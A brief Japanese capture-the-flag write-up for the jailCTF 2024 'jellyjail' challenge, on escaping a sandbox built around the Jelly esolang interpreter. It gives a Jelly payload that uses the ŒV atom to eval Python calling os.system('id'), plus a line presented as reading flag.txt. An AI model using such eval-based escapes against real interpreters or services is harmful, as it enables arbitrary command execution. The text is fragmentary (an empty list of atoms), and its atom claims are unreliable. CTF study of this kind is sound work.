jailCTF 2024 - jellyjail

Challenge

Jelly (esolang) インタープリタ内での脱出。

import jelly

code = input()
result = jelly.run(code)
print(result)

Jelly は tacit programming 言語で、多くの組み込み関数を持つ。

Jelly インタープリタは内部で Python の eval を使用する場合がある:

# Jelly コード例
"__import__('os').system('id')"ŒV

ŒV は Python として評価するアトム。

ファイル読み書き機能を悪用:

# フラグファイルを読む
"flag.txt"Ɱ

Jelly の主要なアトム:

jail{...}